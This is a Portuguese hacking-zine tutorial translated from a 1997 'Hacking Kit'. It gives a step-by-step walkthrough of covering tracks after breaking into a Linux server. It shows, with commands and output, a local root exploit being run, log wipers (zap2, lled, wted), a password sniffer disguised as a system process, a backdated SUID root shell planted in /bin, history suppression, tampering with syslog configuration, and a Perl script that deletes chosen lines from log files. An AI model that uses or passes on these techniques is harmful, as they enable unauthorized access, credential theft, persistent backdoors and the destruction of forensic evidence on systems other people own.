.pt zine - Limpar os log files

Limpar os log files:
------------------------------
traduzido por VectorX
IN: Hacking Kit v2.0.b March/97
BY: Invisible Evil

Uma volta pelo sistem hackado/ O ke fazer depois de hackar/ganhar root no sistema?

Não posso deixar de referir a importância que é a de limpar os logs, para assim não ser possivel detectar a vossa presença no sistema. Vamos agora realizar uma "visita guiada" por um sistema "hackado" e demonstrar o que devem fazer e o que devem procurar para limpar a vossa presença do sistema. Para começar vamos fazer o login num sistema :

Segue-se uma explicação passo-a-passo de todo o processo:

******----> ver quem está na maquina

    [/home/master]finger @victim.net
    [victim.net]
    No one logged on.

******----> de momento não se encontra ninguem, nesse caso podemos entrar em segurança

    [/home/master]telnet victim.net

    Trying xxx.206.xx.140...
    Connected to victim.net.
    Escape character is '^]'.

    Welcome to Victim Research Linux (http://www.victim.net) Red Hat 4.2
    Kernel 2.0.30 on a i586

    ns.victim.net login: jnsmith
    Password:
    Linux 2.0.30.
    You have new mail.

******----> Não leias o mail do user, se quiseres podes ver todo o mail através do comando : cat /var/spool/mail e também em /home/username/mail .

******----> Voltamos a ver se está mais alguem no sistema (comando w(ho) )

    [jnsmith@ns jnsmith]$ w

    5:36am  up 18 days,  8:23,  1 user,  load average: 0.01, 0.00, 0.00
    User      tty       login@  idle   JCPU   PCPU  what
    jnsmith   ttyp1     5:35am                      w

******----> Só estou cá eu, nesse caso vamos ganhar root e limpar a nossa presença do log file : utmp

    [jnsmith@ns jnsmith]$ cd .term

******----> Esta dir já tinha sido préviamente criada (.term é um bom nome para uma dir onde queiras esconder cenas)

    [jnsmith@ns .term]$ ./.u

******----> Já tinha isto à minha espera : é o exploit mount/umount (mount.c)

Este bug foi descoberto e programado pelo Bloodmask e pelo Vio em 1996 ******----> Agora que já ganhámos root vamos usar o z2 (zap2) para nos tornarmos "invisíveis"

    bash# z2 jnsmith
    Zap2!

******----> Vamos ver se ainda estamos no sistema...

    bash# w
    5:37am  up 18 days,  8:24,  0 users,  load average: 0.08, 0.02, 0.01
    User     tty       login@  idle   JCPU   PCPU  what

******----> Hmmm... interessante, agora não está ninguem no sitema. Bem... devo ter saido do sistema ;)

******----> Já sabemos que somos root no sistema, mas mesmo assim vamos confirmar :

    bash# whoami
    root
    bash#

******----> Yeps, somos root... Em que directoria é que estamos?

    bash# pwd
    /home/jnsmith/.term

******----> Agora vamos verificar os logs do sistema

    bash# cd /var/log

******----> maior parte das vezes estão em /var/adm, mas neste caso estão em /var/log

    bash# grep dormroom *
    maillog:Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com
    maillog:Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com

******----> Yaps, o z2 (zap2) limpou tudo menos este maillog ...

    bash# pico maillog

******----> no pico eu fiz ctrl w, e procurei por "dormroom" e depois fiz ctrl k para apagar as linhas não desejadas.

******----> Estas foram as linhas apagadas :

    Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com
    Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com

    bash# grep dormroom *

******----> Yep, está tudo limpo

    bash# w
    5:41am  up 18 days,  8:27,  0 users,  load average: 0.00, 0.00, 0.00
    User     tty       login@  idle   JCPU   PCPU  what

******----> Yep .. aqui também está tudo limpo ;)

******----> Agora vamos mostrar-vos como é que iriam usar o "lled" e o "wted" se por acaso quando fizemos "grep", tivesse surgido mais qualquer coisa nesses files.

    bash# cd ~jnsmith/.term
    bash# lled
    bash# lled -c dormroom.playhouse
    Entries stored: 527 Entries removed: 0

Agora façam 'chmod lastlog.tmp' e copiem para cima do file original em /var/log/lastlog ******----> Nada no lastlog ...

    bash#
    bash# wted -e jnsmith
    Entries stored: 254 Entries removed: 0
    Now chmod wtmp.tmp and copy over the original /var/log/wtmp

******----> Nada no wtmp, ambos estes files teriam surgido no "grep" nós só o executámos em /var/log (só para mostrar os comandos)

******----> Que tal por um sniffer a correr?

    bash# pico linsniffer.c

******----> Eu alterei esta linha para definir a localização do log do sniffer :

    #define TCPLOG "/tmp/.pinetemp.000"

******----> vamos ver que processos é que estão a correr para atribuirmos ao sniffer um nome que se assemelhe a algo que esteja a correr.

    bash# ps -aux

    root       143  0.0  0.0   84    0  ?  SW  Jan 10   0:01 (lpd)
    root       154  0.0  0.0  118    0  ?  SW  Jan 10   0:00 (smbd)
    root       163  0.0  0.5   76  176  ?  S   Jan 10   0:00 nmbd -D
    root       197  0.0  0.0   76    0 v03 SW  Jan 10   0:00 (getty)
    root       198  0.0  0.0   76    0 v04 SW  Jan 10   0:00 (getty)
    root       199  0.0  0.0   76    0 v05 SW  Jan 10   0:00 (getty)
    root       200  0.0  0.0   76    0 v06 SW  Jan 10   0:00 (getty)
    root       201  0.0  0.0   88    0 s00 SW  Jan 10   0:00 (uugetty)
    root       209  0.0  0.2   35   76  ?  S   Jan 10   0:01 (update)
    root       210  0.0  0.3   35  124  ?  S   Jan 10   0:03 update (bdflush)
    root     10709  0.0  1.4  152  452  ?  S   Jan 27   0:10 httpd
    root     11111  0.0  1.4  152  452  ?  S   Jan 27   0:07 httpd
    root     14153  0.0  0.8   70  268  ?  S   Jan 16   0:03 ./inetd
    root     14307  0.0  4.7 1142 1484  ?  S   Jan 16   1:16 ./named
    root     14365  0.0  0.0   76    0 v02 SW  Jan 16   0:00 (getty)
    root     17367  0.0  1.4  152  452  ?  S    11:01   0:02 httpd

******----> vamos compila-lo e dar-lhe o nome de nmb

    bash# gcc linsniffer.c -o nmb

******----> vamos executá-lo

    bash# nmb&
    [1] 22171

******----> vamos verificar o log file em /tmp

    bash#
    bash# cd /tmp
    bash# ls -al .pin*
    total 15691
    -rw-rw-r--   1 root     jnsmith          0 Jan 29 05:50 .pinetemp.000

******----> Ali está ele. No entanto nós não queremos que o user da account que estamos a utilizar saiba nem da existência nem do contéudo deste file, então fazemos :

    bash# chgrp root .pin*

******----> Vamos ver agora ...

    bash# ls -al .pin*
    -rw-rw-r--   1 root     root            0 Jan 29 05:50 .pinttemp.000
    bash#

******----> Óptimo, agora vamos criar uma SUID shell para não termos que voltar a fazer isto.

    bash# cd /bin
    bash# ls -l sh
    lrwxrwxrwx   1 root     root            4 Mar  1  1996 sh -> bash

******----> É apenas um sym link e não o file que nos interessa ...

    bash# ls -l bash
    -rwxr-xr-x   1 root     root       299296 Nov  2  1995 bash

******----> aqui está o verdadeiro file (o que nos interessa pra criarmos a tal shell). Vamos pensar num nome para lhe atribuirmos, de forma a que pareca que o file pareça pertencente a esta dir :

    bash# ls
    arch           df             ksh            ping           tar
    ash            dmesg          ln             ps             tcsh
    bash           dnsdomainname  login          pwd            true
    cat            domainname     ls             red            ttysnoops
    chgrp          echo           mail           rm             umount
    chmod          ed             mkdir          rmdir          uname
    chown          false          mknod          sed            vi
    cp             findterm       more           setserial      view
    cpio           gunzip         mount          sh             vim
    csh            gzip           mt             stty           zcat
    date           hostname       mv             su             zsh
    dd             kill           netstat        sync

******----> Que tal criarmos um novo comando para Linux? Maior parte dos admins nem vão dar pela diferença ... Vamos atribuir-lhe o nome de "findhost" (Não te aconselho a utilizar este nome por razões obvias...)

    bash# cp bash findhost

******----> ok, agora vamos lá ver o que é que o novo comando faz ... ;)

    bash# ls -l findhost
    -rwxr-xr-x   1 root     jnsmith     299296 Jan 29 05:59 findhost

******----> Hmmm, temos que mudar o grupo (chgrp), e alterar a data e a hora do file através do comando 'touch' e torná-lo SUID root (para que não haja suspeitas quanto ao file).

    bash# chgrp root findhost
    bash# ls -l findhost
    -rwxr-xr-x   1 root     root       299296 Jan 29 05:59 findhost

    bash# chmod +s findhost
    bash# ls -l findhost
    -rwsr-sr-x   1 root     root       299296 Jan 29 05:59 findhost

    bash# touch -t 111312331995 findhost
    bash# ls -l findhost
    -rwsr-sr-x   1 root     root       299296 Nov 13  1995 findhost

    bash# ls -l m*
    -rwxr-xr-x   1 root     root        64400 Oct 31  1995 mail
    -rwxr-xr-x   1 root     root         7689 Nov  2  1995 mkdir
    -rwxr-xr-x   1 root     root         7001 Nov  2  1995 mknod
    -rwxr-xr-x   1 root     root        20272 Nov  1  1995 more
    -rwsr-xr-x   1 root     root        26192 Nov  1  1995 mount
    -rwxr-xr-x   1 root     root         8381 Oct 31  1995 mt
    -rwxr-xr-x   1 root     root        12753 Nov  2  1995 mv

******----> Agora sim, parece mesmo que pertence a esta dir Vamos agora confirmar se este "comando" faz exactamente aquilo que pretendiamos, ou seja dar-nos root. Para tal, em primeiro lugar saimos da shell em que estamos :

    bash# exit

    [jnsmith@ns .term]$ cd /bin
    [jnsmith@ns /bin]$ whoami
    jnsmith
    [jnsmith@ns /bin]$ findhost
    [jnsmith@ns /bin]# whoami
    root

******----> Optimo, o nosso comando funciona ;)

    [jnsmith@ns /bin]# cd

******----> cd {enter} leva-nos de volta para a nossa home dir

    [jnsmith@ns jnsmith]# ls
    mail
    [jnsmith@ns jnsmith]# echo + +>test
    [jnsmith@ns jnsmith]# ls -l
    total 2
    drwx------   2 jnsmith   jnsmith       1024 Jan 11 22:47 mail
    -rw-rw-r--   1 root      root            4 Jan 29 06:11 test

******----> Agora temos uid=0 e gid=0

    [jnsmith@ns jnsmith]# rm test

******----> por enquanto tudo bem .....

    [jnsmith@ns jnsmith]# w
    6:12am  up 18 days,  8:58,  0 users,  load average: 0.07, 0.02, 0.00
    User     tty       login@  idle   JCPU   PCPU  what

******----> Só para ter a certeza de que ainda estamos sozinhos ....

    [jnsmith@ns jnsmith]# ls -al /tmp/.p*
    total 15692
    -rw-rw-r--   1 root     root          157 Jan 29 06:10 .pinttemp.000

******----> já estamos a "apanhar" passwords ;)

    [jnsmith@ns jnsmith]# ls -al
    total 32
    drwxrwx---   5 jnsmith   jnsmith   1024 Jan 29 06:11 .
    drwxr-xr-x  33 root      users     1024 Jan 22 16:53 ..
    -rw-r-----   1 jnsmith   jnsmith   1126 Aug 23  1995 .Xdefaults
    lrwxrwxrwx   1 jnsmith   jnsmith      9 Jan  1 21:40 .bash_history -> /dev/null
                                                                 <- Atenção a isto
    -rw-r--r--   1 root      jnsmith     24 Jan  1 03:12 .bash_logout
    -rw-r--r--   1 root      jnsmith    220 Jan  1 03:12 .bash_profile
    -rw-r--r--   1 root      jnsmith    124 Jan  1 03:12 .bashrc
    -rw-rw-r--   1 root      jnsmith   5433 Jan 11 22:47 .pinerc
    drwxrwxr-x   2 jnsmith   jnsmith   1024 Jan 29 06:22 .term
    drwxr-x---   2 jnsmith   jnsmith   1024 Feb 17  1996 .xfm
    drwx------   2 jnsmith   jnsmith   1024 Jan 11 22:47 mail
    [jnsmith@ns jnsmith]#

******----> Façam um sym link de .bash_history para /dev/null para que não deixem o history dos vossos comandos. Este é o comando para fazê-lo, mas confirmem que apagaram o antigo .bash_history se ele lá estiver.

    ln -s /dev/null .bash_history

Ok, agora fazemos logout ... Ainda existe outra forma de nos vermos livres do .bash_history.

Se te lembrares sempre disto e practicares bastante de forma a NUNCA te esqueceres, faz o seguinte :

SEMPRE que faças login no sistema escreve : unset HISTFILE

Isto faz com que o .bash_history seja apagado sempre que sais do sistema. Se usares este método NUNCA te esquecas de fazer o que se disse!

messages & syslog

Na directoria dos logs, vão encontrar um file chamado 'messages'. Cada sistema é differente no que se refere ao tipo do informação que é logada e para que file(s), é que essa informação vai. Não te esqueças de procurar no /etc/syslog.conf informação referente a sistemas remotos. Se o sistema estiver a logar essa informação vais ver algo semelhante a :

    *.*                                 @somehostname.xxx

Podes também simplesmente ver neste file (/etc/syslog.conf) onde se encontram outros logfiles.

Aqui está um exemplo...

    bash# more syslog.conf
    # /etc/syslog.conf
    # For info about the format of this file, see "man syslog.conf" (the BSD man
    # page), and /usr/doc/sysklogd/README.linux.
    #
    # NOTE: YOU HAVE TO USE TABS HERE - NOT SPACES.
    # I don't know why.
    #

    *.=info;*.=notice                               /var/adm/messages
    *.=debug                                        /var/adm/debug
    *.warn                                          /var/adm/syslog
    *.warn                                          /root/.../syslog
    *.=crit;kern.none                               /var/adm/critical
    kern.info;kern.!err                             /var/adm/kernel-info
    mail.*;mail.!=info                              /root/.../mail
    mail,news.=info                                 /root/.../info
    mail.*;mail.!=info                              /var/adm/mail
    mail,news.=info                                 /var/adm/info
    *.alert                                         root,bob
    *.=info;*.=notice                               @quality.com
    *.=debug                                        @quality.com
    *.warn                                          @quality.com
    *.=crit;kern.none                               @quality.com
    kern.info;kern.!err                             @quality.com
    mail.*;mail.!=info                              @quality.com
    mail,news.=info                                 @quality.com

Neste caso, alguns dos logs estão em directorias escondidas (/root/.../syslog) localizadas na dir /root, e uma cópia de todos os alertas e avisos do sistema estão também a ser enviados para o host 'quality.com'. O 'wtmp', 'utmp' e o 'lastlog' neste caso são locais, por isso não há grande problema. No entanto não uses o comando 'su' num sistema deste tipo (logs para host remoto). Repara também que neste caso os avisos e alertas do sistema estão a ser enviados por mail ao root e ao user 'bob'.

Repara também que o 'syslog', 'mail', e 'info' estão a ser enviados para a dir /var/adm para nos levar a pensar que todos os logs estão em /var/adm ! Assim, se editares algo em /var/adm o admin do sistema pode correr um 'diff' nos backup files na /root dir.

Ok, vais então à dir /var/adm ou a /var/log e fazes:

    grep o_teu_host * |more
    grep o_teu_ip * |more

podes assim ver que alguns files estão a logar a tua ligação. Toma nota desses files e edita o file /etc/syslog.conf. Irás assim através de tentativa-e-erro fazer com que (na maior parte dos casos) fazer com que o log do teu domain não se realize.
No entanto deves prestar atenção ao seguinte : Depois de editares o file (/etc/syslog.conf) tens de reinicializar o 'syslogd'. Podes fazê-lo através do comando 'ps -x' :

    $root> ps -x

    39  ?  S    1:29 /usr/sbin/syslogd

procura o 'syslogd' na listagem de processos que vai aparecer e toma nota do process id (pid) do 'syslogd'. Neste caso o pid era o 39. Fazemos entao :

    kill -HUP 39

Isto fará com que o processo seja reinicializado passando assim as nossas alterações a fazer efeito.

Outra coisa de que NÃO te podes esquecer é de fazer 'ls -l /etc/syslog.conf' ANTES de editares esse file e tomar nota da informação relativa à data e hora do file. Deves então (depois de editares o file) usar o comando 'touch' para que o file volte a ter a date e hora originais. Desta forma se o(s) admin(s) repararem que o log está diferente vão quase de certeza verificar a data e hora do file. Ao verem que não sofreram alteraçõs, vão pensar que se tratou de outra coisa qualquer. Maior parte dos admins nem sequer sabem configurar este files para que funcione correctamente, por isso em grande parte dos casos não há qualquer problema em editá-los.

Aqui está outro file a que deves prestar atenção :

    /etc/login.defs

    # Enable "syslog" logging of su activity - in addition to sulog file logging
    # SYSLOG_SG_ENAB does the same for newgrp and sg.
    #
    SYSLOG_SU_ENAB          yes
    SYSLOG_SG_ENAB          yes

    #
    # If defined, all su activity is logged to this file
    #
    SULOG_FILE      /home/users/bob/.list

Repara que há um log file referente ao uso do comando 'su' (SULOG_FILE) que se encontra escondido na homedir de um dos admins do sistema.

xferlog

O 'xferlog' pode ser editado com qualquer editor de texto (pico, joe, vi, etc). Podes então procurar neste log file por transferencias de files que possas ter feito (por exemplo para enviares para o sistema o zap2). Deves então fazê-lo SEMPRE que acabes de transferir algum file para o sistema.

Deves também usar o comando 'grep' nos files que se encontram na dir /usr/local/etc/httpd/log caso tenhas utilizado a web ou o phf neste sistema, de forma a que a tua presença seja assim eliminada desses files. Deves fazê-lo da seguinte forma :

    grep (username or hostname) * |more

Se tiveres que procurar os logs do httpd podes fazê-lo através do comando 'find -name httpd.conf -print' e toma nota da localização dos logfiles do httpd.

Podem existir diferentes logs para as transferencias por ftp algures numa dir de ftp ou virtual ftp. Vê os files em /etc/ftp* para descobrires que configuração para o ftp é utilizada neste sistema (e logo descobrires a localizaçao dos log files).

Tudo o que aqui foi dito relativamente a editar log files teve em conta que estás a utilizar editores de texto como o pico, o joe ou qualquer outro do mesmo tipo.
Por vezes podes dar de caras com um log file muito grande e o editor que estás a usar, pode nao ter capacidade para abrir todo o file. Nestes casos é mais simples, rapido e práctico utilizares um outro método :

Imagina que encontras-te um log file de 20 mb ... wow! e agora?

Imagina agora que querias retirar deste logfile todas as linhas que continham 'fudge.candy.com'. Fazias assim :

    grep -v fudge.candy >messages.2
    rm messages
    mv messages2 messages
    depois faz um 'kill -HUP '

o '-v' serve para retirar tudo o que NÃO é qeuivalente á linha que queres. Desta forma estás a passar tudo o que deve ficar no file para um novo file (neste caso messages.2). Ficas-te então com 2 files, o messages que agora contém apenas a informação que tu queres limpar e o messages.2 que contém a restante informação que não te diz respeito e logo deves mante-la no sistema. De seguida apagas o messages e fazes rename do messages.2 para messages. Limpas-te assim do log file a informação que não te era conveniente manter ;)

Isto aplica-se a qualquer logfile...

Aqui está um script para Perl que faz o que se disse acima por ti :

    ------------------- start of riptext.pl
    #!/usr/bin/perl
    #
    # RipText - Takes regular expression and filename argument from @ARGV. Any
    #           lines MATCHING regular expression will *not* be printed to
    #           STDOUT.
    #
    #

    die("\nUsage: riptext [regexp] {filename}\n\n") if (!defined($ARGV[0]));
    ($regexp, $filename) = @ARGV[0,1];
    # Read in contents of file.
    $/ = undef;
    $contents="";
    if (!defined($filename)) {
      # Use STDIN.
      $contents = scalar ;
    } else {
      # Use FILE.
      open(FILE, "<$filename") || die("-RipText- Cannot open $filename: $!\n");
      $contents = scalar ;
      close(FILE);
    }

    @contents = split(/\n/, $contents);

    # Strip file of matching lines.
    open(FILE, ">$filename") || die("-RipText- Cannot write $filename: $!\n");
    foreach (@contents) {
      print FILE "$_\n" unless (/$regexp/i);
    }
    close(FILE);

    0;

    ------------------------ end of riptext.pl

Nunca te esqueças de reinicializar o 'syslogd' depois de editares os logs, pois ainda é possivel recuperar a informação que tu acabas-te de alterar (pois ela ainda está em memoria) até tu reinicializares o processo!

Deves também editar o 'syslog' e retirar a informação relacionada com o "restart" do 'syslogd'.